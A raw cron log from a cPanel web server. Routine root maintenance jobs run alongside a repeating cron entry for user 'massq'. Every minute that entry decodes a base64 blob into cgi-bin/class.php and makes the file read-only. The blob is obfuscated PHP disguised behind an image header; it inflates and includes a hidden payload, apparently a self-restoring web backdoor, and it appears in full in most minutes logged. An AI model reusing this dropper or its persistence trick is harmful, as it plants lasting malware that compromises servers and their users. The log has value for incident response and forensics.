Sep  1 05:35:01 server CROND[3723]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 05:35:01 server CROND[3721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:35:01 server CROND[3722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:35:01 server CROND[3718]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 05:36:01 server CROND[4566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:36:01 server CROND[4567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:36:01 server CROND[4568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:37:01 server CROND[4951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:37:01 server CROND[4952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:37:01 server CROND[4953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:38:02 server CROND[5633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:38:02 server CROND[5634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:38:02 server CROND[5635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:39:01 server CROND[6004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:39:01 server CROND[6006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:39:01 server CROND[6007]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 05:39:01 server CROND[6005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:40:01 server CROND[6398]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 05:40:01 server CROND[6402]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 05:40:02 server CROND[6403]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:40:02 server CROND[6404]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 05:40:02 server CROND[6405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:40:02 server CROND[6406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:40:02 server CROND[6407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:40:02 server CROND[6408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:41:01 server CROND[7239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:41:01 server CROND[7240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:41:01 server CROND[7241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:42:01 server CROND[7626]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 05:42:01 server CROND[7627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:42:01 server CROND[7628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:42:01 server CROND[7629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:43:01 server CROND[8105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:43:01 server CROND[8106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:43:01 server CROND[8104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:44:01 server CROND[8512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:44:01 server CROND[8513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:44:01 server CROND[8514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:45:01 server CROND[8915]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:45:01 server CROND[8917]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 05:45:01 server CROND[8918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:45:01 server CROND[8921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:45:01 server CROND[8922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:45:01 server CROND[8920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:45:01 server CROND[8919]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 05:46:01 server CROND[9758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:46:01 server CROND[9759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:46:01 server CROND[9760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:47:01 server CROND[10144]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:47:01 server CROND[10145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:47:01 server CROND[10143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
